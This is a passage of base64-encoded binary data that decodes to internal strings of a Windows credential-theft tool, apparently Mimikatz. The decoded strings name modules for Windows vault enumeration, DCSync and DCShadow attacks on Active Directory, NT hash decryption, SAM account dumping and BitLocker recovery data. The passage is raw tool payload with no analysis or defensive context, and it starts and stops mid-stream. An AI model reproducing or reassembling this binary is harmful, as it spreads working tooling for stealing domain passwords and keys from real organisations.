ZhdWx0RW51bWVyYXRlSXRlbXMAVmF1bHRDbG9zZVZhdWx0AFZhdWx0RnJlZQAAAFZhdWx0R2V0SXRlbQAAAABEAG8AbQBhAGkAbgAgAFAAYQBzAHMAdwBvAHIAZAAAAEQAbwBtAGEAaQBuACAAQwBlAHIAdABpAGYAaQBjAGEAdABlAAAAAABEAG8AbQBhAGkAbgAgAEUAeAB0AGUAbgBkAGUAZAAAAFAAaQBuACAATABvAGcAbwBuAAAAUABpAGMAdAB1AHIAZQAgAFAAYQBzAHMAdwBvAHIAZAAAAAAAQgBpAG8AbQBlAHQAcgBpAGMAAABOAGUAeAB0ACAARwBlAG4AZQByAGEAdABpAG8AbgAgAEMAcgBlAGQAZQBuAHQAaQBhAGwAAAAAAAoAVgBhAHUAbAB0ACAAOgAgAAAACQBJAHQAZQBtAHMAIAAoACUAdQApAAoAAAAAAAkAIAAlADIAdQAuAAkAJQBzAAoAAAAAAAkACQBUAHkAcABlACAAIAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAAAACQAJAEwAYQBzAHQAVwByAGkAdAB0AGUAbgAgACAAIAAgACAAOgAgAAAAAAAJAAkARgBsAGEAZwBzACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQAJAFIAZQBzAHMAbwB1AHIAYwBlACAAIAAgACAAIAAgACAAOgAgAAAAAAAJAAkASQBkAGUAbgB0AGkAdAB5ACAAIAAgACAAIAAgACAAIAA6ACAAAAAAAAkACQBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACAAIAAgADoAIAAAAAAACQAJAFAAcgBvAHAAZQByAHQAeQAgACUAMgB1ACAAIAAgACAAIAA6ACAAAAAJAAkAKgBBAHUAdABoAGUAbgB0AGkAYwBhAHQAbwByACoAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0ANwAgADoAIAAlADAAOAB4AAAAAAAJAAkAUABhAGMAawBhAGcAZQBTAGkAZAAgACAAIAAgACAAIAA6ACAAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAHYAYQB1AGwAdABfAGwAaQBzAHQAIAA7ACAAVgBhAHUAbAB0AEcAZQB0AEkAdABlAG0AOAAgADoAIAAlADAAOAB4AAAAAAAKAAkACQAqACoAKgAgACUAcwAgACoAKgAqAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AdgBhAHUAbAB0AF8AbABpAHMAdAAgADsAIABWAGEAdQBsAHQARQBuAHUAbQBlAHIAYQB0AGUAVgBhAHUAbAB0AHMAIAA6ACAAMAB4ACUAMAA4AHgACgAAAAAACQAJAFUAcwBlAHI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AXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjACAAOwAgAEQAbwBtAGEAaQBuACAAQwBvAG4AdAByAG8AbABsAGUAcgAgAG4AbwB0ACAAcAByAGUAcwBlAG4AdAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAIAA7ACAARABvAG0AYQBpAG4AIABuAG8AdAAgAHAAcgBlAHMAZQBuAHQALAAgAG8AcgAgAGQAbwBlAHMAbgAnAHQAIABsAG8AbwBrACAAbABpAGsAZQAgAGEAIABGAFEARABOAAoAAAAAAG0AcwBEAFMALQBJAG4AdABJAGQAAAAAAFsAbABkAGEAcABdACAAJQBzACAAOgAgAAAAAAAwAHgAJQAwADgAeAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAHkAbgBjAF8AUwBlAGEAcgBjAGgAQQBuAGQAUABhAHIAcwBlAEwARABBAFAAVABvAEkAbgB0AEkAZAAgADsAIABOAG8AIAB2AGEAbAB1AGUAcwA/AAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwB5AG4AYwBfAFMAZQBhAHIAYwBoAEEAbgBkAFAAYQByAHMAZQBMAEQAQQBQAFQAbwBJAG4AdABJAGQAIAA7ACAATQBvAHIAZQAgAHQAaABhAG4AIABvAG4AZQAgAGUAbgB0AHIAeQA/AAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBTAGUAYQByAGMAaABBAG4AZABQAGEAcgBzAGUATABEAEEAUABUAG8ASQBuAHQASQBkACAAOwAgAGwAZABhAHAAXwBzAGUAYQByAGMAaABfAHMAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAAAAgACAAIAAgACUAcwAtACUAMgB1ADoAIAAAAAAAIAAgAEgAYQBzAGgAIAAlAHMAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAYwByAHkAcAB0ACAAOwAgAFIAdABsAEQAZQBjAHIAeQBwAHQATgB0AE8AdwBmAFAAdwBkAFcAaQB0AGgASQBuAGQAZQB4AC8AUgB0AGwARABlAGMAcgB5AHAAdABMAG0ATwB3AGYAUAB3AGQAVwBpAHQAaABJAG4AZABlAHgAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAeQBuAGMAXwBkAGUAcwBjAHIATwBiAGoAZQBjAHQAXwBjAHMAdgAgADsAIABSAHQAbABEAGUAYwByAHkAcAB0AE4AdABPAHcAZgBQAHcAZABXAGkAdABoAEkAbgBkAGUAeAAAAAoATwBiAGoAZQBjAHQAIABSAEQATgAgACAAIAAgACAAIAAgACAAIAAgACAAOgAgAAAAAABTAEMAUgBJAFAAVAAAAAAAQQBDAEMATwBVAE4AVABEAEkAUwBBAEIATABFAAAAAAAwAHgANAAgAD8AAABIAE8ATQBFAEQASQBSAF8AUgBFAFEAVQBJAFIARQBEAAAAAABMAE8AQwBLAE8AVQBUAAAAUABBAFMAUwBXAEQAXwBOAE8AVABSAEUAUQBEAAAAAABQAEEAUwBTAFcARABfAEMAQQBOAFQAXwBDAEgAQQBOAEcARQAAAAAARQBOAEMAUgBZAFAAVABFAEQAXwBUAEUAWABUAF8AUABBAFMAUwBXAE8AUgBEAF8AQQBMAEwATwBXAEUARAAAAFQARQBNAFAAXwBEAFUAUABMAEkAQwBBAFQARQBfAEEAQwBDAE8AVQBOAFQAAAAAAE4ATwBSAE0AQQBMAF8AQQBDAEMATwBVAE4AVAAAAAAAMAB4ADQAMAAwACAAPwAAAEkATgBUAEUAUgBEAE8ATQBBAEkATgBfAFQAUgBVAFMAVABfAEEAQwBDAE8AVQBOAFQAAABXAE8AUgBLAFMAVABBAFQASQBPAE4AXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAUwBFAFIAVgBFAFIAXwBUAFIAVQBTAFQAXwBBAEMAQwBPAFUATgBUAAAAAAAwAHgANAAwADAAMAAgAD8AAAAAADAAeAA4ADAAMAAwACAAPwAAAAAARABPAE4AVABfAEUAWABQAEkAUgBFAF8AUABBAFMAUwBXAEQAAAAAAE0ATgBTAF8ATABPAEcATwBOAF8AQQBDAEMATwBVAE4AVAAAAFMATQBBAFIAVABDAEEAUgBEAF8AUgBFAFEAVQBJAFIARQBEAAAAAABUAFIAVQBTAFQARQBEAF8ARgBPAFIAXwBEAEUATABFAEcAQQBUAEkATwBOAAAAAABOAE8AVABfAEQARQBMAEUARwBBAFQARQBEAAAAVQBTAEUAXwBEAEUAUwBfAEsARQBZAF8ATwBOAEwAWQAAAAAARABPAE4AVABfAFIARQBRAFUASQBSAEUAXwBQAFIARQBBAFUAVABIAAAAAABQAEEAUwBTAFcATwBSAEQAXwBFAFgAUABJAFIARQBEAAAAAABUAFIAVQBTAFQARQBEAF8AVABPAF8AQQBVAFQASABFAE4AVABJAEMAQQBUAEUAXwBGAE8AUgBfAEQARQBMAEUARwBBAFQASQBPAE4AAAAAAE4ATwBfAEEAVQBUAEgAXwBEAEEAVABBAF8AUgBFAFEAVQBJAFIARQBEAAAAUABBAFIAVABJAEEATABfAFMARQBDAFIARQBUAFMAXwBBAEMAQwBPAFUATgBUAAAAVQBTAEUAXwBBAEUAUwBfAEsARQBZAFMAAAAAADAAeAAxADAAMAAwADAAMAAwADAAIAA/AAAAAAAwAHgAMgAwADAAMAAwADAAMAAwACAAPwAAAAAAMAB4ADQAMAAwADAAMAAwADAAMAAgAD8AAAAAADAAeAA4ADAAMAAwADAAMAAwADAAIAA/AAAAAABEAE8ATQBBAEkATgBfAE8AQgBKAEUAQwBUAAAARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAAAAAE4ATwBOAF8AUwBFAEMAVQBSAEkAVABZAF8ARwBSAE8AVQBQAF8ATwBCAEoARQBDAFQAAABBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAAAATgBPAE4AXwBTAEUAQwBVAFIASQBUAFkAXwBBAEwASQBBAFMAXwBPAEIASgBFAEMAVAAAAFUAUwBFAFIAXwBPAEIASgBFAEMAVAAAAE0AQQBDAEgASQBOAEUAXwBBAEMAQwBPAFUATgBUAAAAVABSAFUAUwBUAF8AQQBDAEMATwBVAE4AVAAAAEEAUABQAF8AQgBBAFMASQBDAF8ARwBSAE8AVQBQAAAAQQBQAFAAXwBRAFUARQBSAFkAXwBHAFIATwBVAFAAAAAqACoAIABCAEkAVABMAE8AQwBLAEUAUgAgAFIARQBDAE8AVgBFAFIAWQAgAEkATgBGAE8AUgBNAEEAVABJAE8ATgAgACoAKgAKAAoAAAAAAFYAbwBsAHUAbQBlACAARwBVAEkARAAgACAAIAAgACAAIAAgACAAIAAgADoAIAAAAFIAZQBjAG8AdgBlAHIAeQAgAEcAVQBJAEQAIAAgACAAIAAgACAAIAAgADoAIAAAAFIAZQBjAG8AdgBlAHIAeQAgAEcAVQBJAEQAIAAoAGYAYQBrAGUAKQAgADoAIAAAAFIAZQBjAG8AdgBlAHIAeQAgAFAAYQBzAHMAdwBvAHIAZAAgACAAIAAgADoAIAAlAHMACgAAAAAAcgBlAGMAbwB2AGUAcgB5AFAAYQBzAHMAdwBvAHIAZAAAAAAAKABuAG8AZwB1AGkAZAApAAAAAABiAGkAdABsAG8AYwBrAGUAcgAAAAAAAABLAGUAeQAgAFAAYQBjAGsAYQBnAGUAIABTAGkAegBlACAAIAAgACAAIAA6ACAAJQB1ACAAYgB5AHQAZQAoAHMAKQAKAEsAZQB5ACAAUABhAGMAawBhAGcAZQAgACAAIAAgACAAIAAgACAAIAAgADoAIABbAAAAAABdAAoAAAAAAGsAZQB5AFAAYQBjAGsAYQBnAGUAAAAAACoAKgAgAFMAQQBNACAAQQBDAEMATwBVAE4AVAAgACoAKgAKAAoAAABTAEEATQAgAFUAcwBlAHIAbgBhAG0AZQAgACAAIAAgACAAIAAgACAAIAA6ACAAAABVAHMAZQByACAAUAByAGkAbgBjAGkAcABhAGwAIABOAGEAbQBlACAAIAA6ACAAAABBAGMAYwBvAHUAbgB0ACAAVAB5AHAAZQAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAgACgAIAAlAHMAIAApAAoAAABVAHMAZQByACAAQQBjAGMAbwB1AG4AdAAgAEMAbwBuAHQAcgBvAGwAIAA6ACAAJQAwADgAeAAgACgAIAAAAAAAQQBjAGMAbwB1AG4AdAAgAGUAeABwAGkAcgBhAHQAaQBvAG4AIAAgACAAOgAgAAAAUABhAHMAcwB3AG8AcgBkACAAbABhAHMAdAAgAGMAaABhAG4AZwBlACAAOgAgAAAAUwBJAEQAIABoAGkAcwB0AG8AcgB5ADoACgAAAE8AYgBqAGUAYwB0ACAAUwBlAGMAdQByAGkAdAB5ACAASQBEACAAIAAgADoAIAAAAE8AYgBqAGUAYwB0ACAAUgBlAGwAYQB0AGkAdgBlACAASQBEACAAIAAgADoAIAAlAHUACgAAAAAACgBDAHIAZQBkAGUAbgB0AGkAYQBsAHMAOgAKAAAAAABMAEEAUABTADoACgAAAAAAIAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAIAA6ACAAJQAuACoAUwAKAAAAAAAgACAATABhAHMAdAAgAGMAaABhAG4AZwBlADoAIAAAACoAIAAlAHcAWgAgACoACgAAAAAAIAAgACAAIABVAG4AawBuAG8AdwBuACAAZABhAHQAYQAgADoAIAAAAAAAAAAqACoAIABUAFIAVQBTAFQARQBEACAARABPAE0AQQBJAE4AIAAtACAAQQBuAHQAaQBzAG8AYwBpAGEAbAAgACoAKgAKAAoAAABQAGEAcgB0AG4AZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQB3AFoACgAAAEIAQwBLAFUAUABLAEUAWQBfAAAAQgBDAEsAVQBQAEsARQBZAF8AUAAgAFMAZQBjAHIAZQB0AAAAQgBDAEsAVQBQAEsARQBZAF8AUABSAEUARgBFAFIAUgBFAEQAIABTAGUAYwByAGUAdAAAAEwAaQBuAGsAIAB0AG8AIABrAGUAeQAgAHcAaQB0AGgAIABHAFUASQBEADoAIAAAACAAKABuAG8AdAAgAGEAbgAgAG8AYgBqAGUAYwB0ACAARwBVAEkARAApAAoAAAAAAHUAbgBpAGMAbwBkAGUAUAB3AGQAAAAAAGMAdQByAHIAZQBuAHQAVgBhAGwAdQBlAAAAAABkAEIAQwBTAFAAdwBkAAAAaQBuAGkAdABpAGEAbABBAHUAdABoAEkAbgBjAG8AbQBpAG4AZwAAAGwAbQBQAHcAZABIAGkAcwB0AG8AcgB5AAAAAABuAHQAUAB3AGQASABpAHMAdABvAHIAeQAAAAAAcAByAGkAbwByAFYAYQBsAHUAZQAAAAAAcwB1AHAAcABsAGUAbQBlAG4AdABhAGwAQwByAGUAZABlAG4AdABpAGEAbABzAAAAdAByAHUAcwB0AEEAdQB0AGgASQBuAGMAbwBtAGkAbgBnAAAAdAByAHUAcwB0AEEAdQB0AGgATwB1AHQAZwBvAGkAbgBnAAAAbQB1AGwAdABpAHAAbABlAAAAAABvAGIAagBlAGMAdAAAAAAAYQB0AHQAcgBpAGIAdQB0AGUAAAB2AGEAbAB1AGUAAAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBVAGkAZAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHUAbgBhAGIAbABlACAAcABhAHIAcwBlACAAcgBlAHAAbABPAHIAaQBnAGkAbgBhAHQAaQBuAGcAVQBpAGQACgAAAHIAZQBwAGwATwByAGkAZwBpAG4AYQB0AGkAbgBnAFUAcwBuAAAAAAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIABwAGEAcgBzAGUAIAByAGUAcABsAE8AcgBpAGcAaQBuAGEAdABpAG4AZwBUAGkAbQBlAAoAAAAAAGQAeQBuAGEAbQBpAGMAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABzAGUAdAAgAHYAYQBsAHUAZQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZQBuAGMAbwBkAGUAIAA7ACAAdQBuAGEAYgBsAGUAIAB0AG8AIABhAGQAZAAgAGEAdAB0AHIAaQBiAHUAdABlAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIAB1AG4AYQBiAGwAZQAgAHQAbwAgAGEAZABkACAAbwBiAGoAZQBjAHQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAG8AYgBqAGUAYwB0ACAAbwByACAAYQB0AHQAcgBpAGIAdQB0AGUAIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGUAbgBjAG8AZABlACAAOwAgAHYAYQBsAHUAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABhAHQAdAByAGkAYgB1AHQAZQAgAG0AaQBzAHMAaQBuAGcACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBlAG4AYwBvAGQAZQAgADsAIABvAGIAagBlAGMAdAAgAG0AaQBzAHMAaQBuAGcACgAAAAAAWwAlAHUAXQAgAE8AYgBqAGUAYwB0ACAARABOADoAIAAlAHMACgAAACAAIABbACUAdQBdACAAQQB0AHQAcgBpAGIAdQB0AGUAOgAgACUAcwAKAAAAAAAAACAAIABBAHQAdAByAGkAYgB1AHQAZQAgAGkAcwAgAGUAbQBwAHQAeQAgACgAZQB4AGkAcwB0AGkAbgBnACAAdgBhAGwAdQBlACAAdwBpAGwAbAAgAGIAZQAgAHIAZQBtAG8AdgBlAGQAKQAKAAAAAAAgACAAIAAgAFsAJQB1AF0AIAAlAHMACgAAAAAAaQBuAHYAbwBjAGEAdABpAG8AbgBJAGQAAAAAAG0AcwBEAFMALQBSAGUAcABsAGkAYwBhAHQAaQBvAG4ARQBwAG8AYwBoAAAAQwBOAD0AUwBpAHQAZQBzACwAJQBzAAAAAAAAACgAJgAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AHMAZQByAHYAZQByACkAKABkAE4AUwBIAG8AcwB0AE4AYQBtAGUAPQAlAHMAKQApAAAAKABuAGEAbQBlAD0ATgBUAEQAUwAgAFMAZQB0AHQAaQBuAGcAcwApAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABOAG8AIAAlAHMAIABhAHQAdAByAGkAYgB1AHQAZQAgAGYAbwByACAAJQBzACAAcwBlAHIAdgBlAHIACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAG8AYgBqAGUAYwB0AEcAVQBJAEQAXwBpAG4AdgBvAGMAYQB0AGkAbwBuAEcAVQBJAEQAIAA7ACAAbABkAGEAcABfAGMAbwB1AG4AdABfAGUAbgB0AHIAaQBlAHMAIABpAHMAIABOAE8AVAAgADEACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AbwBiAGoAZQBjAHQARwBVAEkARABfAGkAbgB2AG8AYwBhAHQAaQBvAG4ARwBVAEkARAAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARABDAD0AAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwBwAGEAcgBlAG4AdABHAHUAaQBkAF8AZgByAG8AbQBfAGQAbgAgADsAIABVAG4AYQBiAGwAZQAgAHQAbwAgAHAAYQByAHMAZQAgAEQATgAgACgAJQBzACkACgAAACgAbwBiAGoAZQBjAHQAYwBsAGEAcwBzAD0AKgApAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHAAYQByAGUAbgB0AEcAdQBpAGQAXwBmAHIAbwBtAF8AZABuACAAOwAgAFAAYQByAGUAbgB0ACAARABOACAAKAAlAHMAKQAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAHIAZQBwAGwAUAByAG8AcABlAHIAdAB5AE0AZQB0AGEARABhAHQAYQAAAAAAcABhAHIAZQBuAHQARwBVAEkARAAAAAAAMQAuADIALgA4ADQAMAAuADEAMQAzADUANQA2AC4AMQAuADQALgA0ADEANwAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABNAGEAawBlAEEAdAB0AGkAZAAgAGYAcgBvAG0AIABTAEMASABFAE0AQQBfAEQARQBGAEEAVQBMAFQAXwBQAFIARQBGAEkAWABfAFQAQQBCAEwARQAgAGYAbwByACAATwBpAGQAOgAgACUAUwAsACAAdgBlAHIAcwBpAG8AbgAoACUAdQApACAAYwBhAG4AIABiAGUAIABwAHIAbwBiAGwAZQBtAGEAdABpAGMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGIAdQBpAGwAZABfAHIAZQBwAGwAaQBjAGEAdABpAG8AbgBfAHYAZQByAHMAaQBvAG4AIAA7ACAAUgBlAHAAbAAgAEIAbABvAGIAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIAAxACAAKAAlAHUAKQAKAAAAAABPAGIAagBlAGMAdAAgAGQAbwBlAHMAIABuAG8AdAAgAGUAeABpAHMAdAAKAAAAAABEAE4AOgAlAHMACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AYgB1AGkAbABkAF8AcgBlAHAAbABpAGMAYQB0AGkAbwBuAF8AdgBlAHIAcwBpAG8AbgAgADsAIABsAGQAYQBwAF8AcwBlAGEAcgBjAGgAXwBzACAAJQBzAAoAAABXAEkATgAyADAAMAAwAAAAVwBJAE4AMgAwADAAMwAgAGkAbgB0AGUAcgBpAG0AAABXAEkATgAyADAAMAAzAAAAVwBJAE4AMgAwADAAOAAAAFcASQBOADIAMAAwADgAUgAyAAAAVwBJAE4AMgAwADEAMgAAAFcASQBOADIAMAAxADIAUgAyAAAAVwBJAE4AMgAwADEANgAAAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ATgBhAG0AaQBuAGcAQwBvAG4AdABlAHgAdAAAAAAAZABzAFMAZQByAHYAaQBjAGUATgBhAG0AZQAAAGQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIARgB1AG4AYwB0AGkAbwBuAGEAbABpAHQAeQAAAGgAaQBnAGgAZQBzAHQAQwBvAG0AbQBpAHQAdABlAGQAVQBTAE4AAABEAG8AbQBhAGkAbgA6ACAAIAAgACAAIAAgACAAIAAgACUAcwAKAAAAQwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgA6ACAAIAAlAHMACgAAAFMAYwBoAGUAbQBhADoAIAAgACAAIAAgACAAIAAgACAAJQBzAAoAAAAsAEMATgA9AAAAAABkAHMAUwBlAHIAdgBpAGMAZQBOAGEAbQBlADoAIAAgACUAcwAKAAAAAAAAAGQAbwBtAGEAaQBuAEMAbwBuAHQAcgBvAGwAbABlAHIARgB1AG4AYwB0AGkAbwBuAGEAbABpAHQAeQA6ACAAJQB1ACAAKAAgACUAcwAgACkACgAAAGgAaQBnAGgAZQBzAHQAQwBvAG0AbQBpAHQAdABlAGQAVQBTAE4AOgAgACUAdQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBkAG8AbQBhAGkAbgBpAG4AZgBvAF8AcgBvAG8AdABEAHMAZQAgADsAIABsAGQAYQBwAF8AYwBvAHUAbgB0AF8AZQBuAHQAcgBpAGUAcwAgAGkAcwAgAE4ATwBUACAAMQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZABvAG0AYQBpAG4AaQBuAGYAbwBfAHIAbwBvAHQARABzAGUAIAA7ACAAbABkAGEAcABfAHMAZQBhAHIAYwBoAF8AcwAgADAAeAAlAHgAIAAoACUAdQApAAoAAABzAGMAaABlAG0AYQBJAG4AZgBvAAAAAABzAGMAaABlAG0AYQAgAHMAaQBnAG4AYQB0AHUAcgBlADoAAABkAGkAcwB0AGkAbgBnAHUAaQBzAGgAZQBkAE4AYQBtAGUAAABkAE4AUwBIAG8AcwB0AE4AYQBtAGUAAAAoACYAKAB8ACgAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAD0AdQBzAGUAcgApACgAbwBiAGoAZQBjAHQAQwBsAGEAcwBzAD0AYwBvAG0AcAB1AHQAZQByACkAKQAoAHMAQQBNAEEAYwBjAG8AdQBuAHQATgBhAG0AZQA9ACUAcwAkACkAKQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AZABjAHMAaABhAGQAbwB3AF8AZABvAG0AYQBpAG4AaQBuAGYAbwBfAGMAbwBtAHAAdQB0AGUAcgAgADsAIABjAG8AbQBwAHUAdABlAHIAIABuAG8AdAAgAGYAbwB1AG4AZAAgAGkAbgAgAEEARAAgADAAeAAlAHgAIAAoACUAdQApAAoAAAByAGUAbQBvAHYAZQBMAGkAbgBnAGUAcgBpAG4AZwBPAGIAagBlAGMAdAAAACUAcwA6ACUAcwAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGwAaQBuAGcAZQByAGkAbgBnAF8AdAByAGkAZwBnAGUAcgAgADsAIAByAGUAbQBvAHYAZQBMAGkAbgBnAGUAcgBpAG4AZwBPAGIAagBlAGMAdAAgADAAeAAlAHgAIAAoACUAdQApAAoAAAAAAEMATgA9AE4AVABEAFMAIABTAGUAdAB0AGkAbgBnAHMALABDAE4APQAlAHMAJQBzAAAAAAAoAG8AYgBqAGUAYwB0AEMAbABhAHMAcwA9AG4AVABEAFMARABTAEEAKQAAACAAIAAqACAAJQBzAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBsAGkAbgBnAGUAcgBpAG4AZwBfAHAAcgBvAHAAYQBnAGEAdABlACAAOwAgAHQAcgBpAGcAZwBlAHIAIABsAGkAbgBnAGUAcgBpAG4AZwAgAGYAbwByACAAJQBzACAAMAB4ACUAeAAgACgAJQB1ACkACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAGQAYwBzAGgAYQBkAG8AdwBfAGwAaQBuAGcAZQByAGkAbgBnAF8AcAByAG8AcABhAGcAYQB0AGUAIAA7ACAAbABkAGEAcABfAGMAbwBuAG4AZQBjAHQAIAAwAHgAJQB4ACAAKAAlAHUAKQAKAAAAYXR0cmlidXRlSUQAYXR0cmlidXRlU3ludGF4AHN5c3RlbUZsYWdzACgAJgAoAG8AYgBqAGUAYwB0AGMAbABhAHMAcwA9AGEAdAB0AHIAaQBiAHUAdABlAFMAYwBoAGUAbQBhACkAKABsAEQAQQBQAEQAaQBzAHAAbABhAHkATgBhAG0AZQA9ACUAcwApACkAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwBkAGMAcwBoAGEAZABvAHcAXwBiAHUAaQBsAGQAXwByAGUAcABsAGkAYwBhAHQAaQBvAG4AXwBhAHQAdAByAGkAYgB1AHQAZQAgADsAIABvAGkAZAAgAGkAcwAgAGkAbgB2AGEAbABpAGQAIAAlAFMACgAAAAAAIABGAEwAQQBHA